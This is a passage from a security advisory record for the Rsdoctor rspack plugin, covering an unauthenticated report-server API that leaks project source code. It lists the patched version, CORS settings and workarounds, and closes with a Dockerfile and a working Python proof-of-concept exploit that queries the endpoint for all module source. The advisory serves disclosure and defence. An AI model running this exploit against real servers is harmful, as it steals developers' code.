HTTP requests are rejected when the request host is not allowed.\n- The report WebSocket requires a per-server token.\n- The report UI receives the tokenized socket URL through runtime report data and uses that URL to connect.\n\n### Upgrade Path\n\nUpgrade Rsdoctor packages to the patched version:\n\n```bash\npnpm add -D @rsdoctor/rspack-plugin@^1.5.16\n```\n\nMost users do not need additional configuration after upgrading.\n\n### CORS Configuration Behavior\n\nThe patched version aligns Rsdoctor's CORS behavior with a safer default model. In particular, partial CORS options no longer drop the default local-origin protection.\n\n| User configuration `server.cors` | Effective CORS behavior |\n| --- | --- |\n| `undefined` | Enables CORS for default local origins only |\n| `false` | Disables CORS middleware |\n| `true` | Uses `cors({})`; effectively allows arbitrary origins and is not recommended |\n| `{ credentials: true }` | Keeps default local origins and adds `credentials: true` |\n| `{ origin: 'https://example.com' }` | Allows only the configured origin |\n| `{ origin: '*' }` | Allows arbitrary origins and is not recommended |\n| `{ origin: false }` | Does not set `Access-Control-Allow-Origin` |\n| `{ origin: fn }` | Uses the custom origin function |\n| `{ origin: /regex/ }` | Uses the custom regular expression |\n\n#### Recommended configuration\n\nFor most users, leave `server.cors` unset:\n\n```js\nnew RsdoctorRspackPlugin();\n```\n\nIf another local development frontend needs to access the report server, configure an exact origin:\n\n```js\nnew RsdoctorRspackPlugin({\n  server: {\n    cors: {\n      origin: 'http://localhost:3000',\n      credentials: true,\n    },\n  },\n});\n```\n\nAvoid permissive CORS configuration:\n\n```js\nnew RsdoctorRspackPlugin({\n  server: {\n    cors: true,\n  },\n});\n```\n\n```js\nnew RsdoctorRspackPlugin({\n  server: {\n    cors: {\n      origin: '*',\n    },\n  },\n});\n```\n\nThese configurations explicitly opt out of the safer default CORS behavior.\n\n### Breaking Changes\n\nThe patched version intentionally tightens the report server's access model.\n\n#### 1. The report server is local-only by default\n\nThe report server is no longer intended to be accessed from arbitrary LAN hosts or remote machines by default.\n\nIf your workflow depended on opening the Rsdoctor report server from another device on the network, that workflow may stop working after upgrading. The recommended approach is to access the report from the same machine that started the build, or to use generated static report output instead of exposing the development report server.\n\n#### 2. Cross-origin access is restricted by default\n\nWeb pages from non-local origins can no longer read report server responses by default.\n\nIf you have a trusted local integration, configure the exact allowed origin through `server.cors.origin`.\n\n#### 3. Custom WebSocket clients must use the tokenized socket URL\n\nThe report WebSocket now requires a per-server token.\n\nCustom clients must not construct the socket URL manually, for example:\n\n```js\nnew WebSocket('ws://localhost:<port>');\n```\n\nInstead, they must use the tokenized socket URL provided by the report runtime data.\n\n#### 4. `server.cors: true` remains an explicit opt-out\n\n`server.cors: true` uses the default behavior of the `cors` middleware and is effectively permissive. This behavior is kept for compatibility, but it is not recommended for untrusted environments.\n\n## Workarounds\n\nIf upgrading immediately is not possible, users can reduce exposure by disabling the report server:\n\n```js\nnew RsdoctorRspackPlugin({\n  disableClientServer: true,\n});\n```\n\nAdditional mitigations:\n\n- Do not expose the report server port to untrusted networks.\n- Do not use `server.cors: true`.\n- Do not use `server.cors.origin: '*'`.\n- Run builds only in trusted local environments.\n- Block external access to the report server port with firewall rules.\n\nThese workarounds do not fully address every attack path. Upgrading to a patched version is recommended.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# Dockerfile for VULN-001 dynamic reproduction\n# Vulnerability: Unauthenticated HTTP API exposes project source code\n# Package: @rsdoctor/rspack-plugin@1.5.11\n# Endpoint: POST /api/data/key  (no auth required)\n# CWE-200 / CVSS 7.5 High\n\nFROM node:24-slim\n\n# Install Python3 (for poc.py)\nRUN apt-get update && \\\n    apt-get install -y --no-install-recommends python3 && \\\n    rm -rf /var/lib/apt/lists/*\n\n# Install pnpm (version required by rsdoctor monorepo engine spec)\nRUN corepack enable && corepack prepare pnpm@10.33.4 --activate\n\n# ── Vulnerable project setup ──────────────────────────────────────────────────\nWORKDIR /poc\n\n# Minimal package.json\nRUN echo '{\"name\":\"rsdoctor-poc\",\"version\":\"1.0.0\",\"private\":true}' > package.json\n\n# Install the vulnerable plugin version and rspack peer dependency\nRUN pnpm add -D \\\n    \"@rspack/core@^2.0.8\" \\\n    \"@rspack/cli@^2.0.8\" \\\n    \"@rsdoctor/rspack-plugin@1.5.11\"\n\n# Copy the project source tree (contains a secret marker)\nCOPY project/ /poc/\n\n# Provide a stub xdg-open so the 'open' npm package does not trigger an\n# uncaughtException (ENOENT) that would kill the Rsdoctor HTTP server before\n# the PoC can connect.\nRUN printf '#!/bin/sh\\nexit 0\\n' > /usr/bin/xdg-open && chmod +x /usr/bin/xdg-open\n\n# ── PoC and entrypoint ────────────────────────────────────────────────────────\nCOPY poc.py /poc.py\nCOPY entrypoint.sh /entrypoint.sh\nRUN chmod +x /entrypoint.sh\n\nENTRYPOINT [\"/entrypoint.sh\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: Unauthenticated HTTP API exposes project source code\nvia /api/data/key in @rsdoctor/rspack-plugin@1.5.11\n\nAffected endpoint: POST /api/data/key\nNo authentication required. Sending {\"key\":\"moduleCodeMap\"} returns\nthe full source code of all compiled modules.\n\nCWE-200: Exposure of Sensitive Information to an Unauthorized Actor\nCVSS v3.1: 7.5 (High) - AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n\"\"\"\nimport sys\nimport json\nimport urllib.request\nimport urllib.error\n\nSECRET_MARKER = \"rsdoctor-vuln-001-secret-EXFIL-abc123\"\nREQUEST_TIMEOUT = 15\n\n\ndef exploit(port: int) -> bool:\n    \"\"\"\n    Send unauthenticated POST /api/data/key with key=moduleCodeMap.\n    Returns True if secret marker is found in the response (PASS).\n    \"\"\"\n    url = f\"http://127.0.0.1:{port}/api/data/key\"\n    print(f\"[*] Target URL  : {url}\")\n    print(f\"[*] Payload     : {{\\\"key\\\": \\\"moduleCodeMap\\\"}}\")\n    print(f\"[*] Auth header : (none)\")\n    print(f\"[*] Secret text : {SECRET_MARKER}\")\n    print()\n\n    payload = json.dumps({\"key\": \"moduleCodeMap\"}).encode(\"utf-8\")\n    req = urllib.request.Request(\n        url,\n        data=payload,\n        headers={\"Content-Type\": \"application/json\"},\n        method=\"POST\",\n    )\n\n    try:\n        with urllib.request.urlopen(req, timeout=REQUEST_TIMEOUT) as resp:\n            body = resp.read().decode(\"utf-8\", errors=\"replace\")\n            status = resp.status\n    except urllib.error.HTTPError as exc:\n        print(f\"[-] HTTP error: {exc.code} {exc.reason}\")\n        return False\n    except urllib.error.URLError as exc:\n        print(f\"[-] Connection error: {exc.reason}\")\n        return False\n\n    print(f\"[+] HTTP status  : {status}\")\n    print(f\"[+] Response size: {len(body):,} bytes\")\n\n    if SECRET_MARKER in body:\n        print(f\"[+] SECRET MARKER FOUND IN RESPONSE: {SECRET_MARKER!r}\")\n        print()\n        # Show the surrounding context (first 300 chars around the marker)\n        idx = body.index(SECRET_MARKER)\n        start = max(0, idx - 100)\n        end = min(len(body), idx + len(SECRET_MARKER) + 100)\n        snippet = body[start:end].replace(\"\\\\n\", \"\\n\")\n        print(f\"[+] Context around secret:\")\n        print(f\"    ...{snippet}...\")\n        print()\n        print(\"[PASS] VULN-001 CONFIRMED: source code exfiltrated via unauthenticated API\")\n        return True\n    else:\n        print(\"[-] Secret marker NOT found in response\")\n        print(f\"[-] Response preview (first 500 bytes): {body[:500]!r}\")\n        print(\"[FAIL] Could not confirm source code leakage\")\n        return False\n\n\ndef probe_configs(port: int) -> None:\n    \"\"\"Secondary probe: check if build configs/paths are also exposed.\"\"\"\n    url = f\"http://127.0.0.1:{port}/api/data/key\"\n    payload = json.dumps({\"key\": \"configs\"}).encode(\"utf-8\")\n    req = urllib.request.Request(\n        url,\n        data=payload,\n        headers={\"Content-Type\": \"application/json\"},\n        method=\"POST\",\n    )\n    try:\n        with urllib.request.urlopen(req, timeout=REQUEST_TIMEOUT) as resp:\n            body = resp.read().decode(\"utf-8\", errors=\"replace\")\n            print(f\"[+] Secondary probe (key=configs) status: {resp.status}, size: {len(body):,} bytes\")\n    except Exception as exc:\n        print(f\"[*] Secondary probe (key=configs) failed: {exc}\")\n\n\ndef main() -> None:\n    if len(sys.argv) != 2:\n        print(f\"Usage: {sys.argv[0]} <port>\")\n        sys.exit(1)\n\n    try:\n        port = int(sys.argv[1])\n    except ValueError:\n        print(f\"[-] Invalid port: {sys.argv[1]!r}\")\n        sys.exit(1)\n\n    print(\"=\" * 60)\n    print(\"VULN-001 PoC: Rsdoctor Unauthenticated Source Code Leak\")\n    print(\"=\" * 60)\n\n    success = exploit(port)\n    print()\n    probe_configs(port)\n\n    sys.exit(0 if success else 2)\n\n\nif __name__ == \"__main__\":\n    main()\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@rsdoctor/rspack-plugin"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.5.16"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.5.15"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/web-infra-dev/rsdoctor/security/advisories/GHSA-jmg2-rcxh-w8q3"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-61782"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/web-infra-dev/rsdoctor/pull/1744"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/web-infra-dev/rsdoctor/pull/1758"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/web-infra-dev/rsdoctor/commit/602eb306a49b6d19c4c1ea9d8ee0f8caab9e208f"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/web-infra-dev/rsdoctor/commit/e9aaef21f85becfe43a46f716509f41ea5edeb40"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/web-infra-dev/rsdoctor"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-200" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-24T19:42:10Z",
    "nvd_published_at" : "2026-09-24T18:17:16Z"
  }
}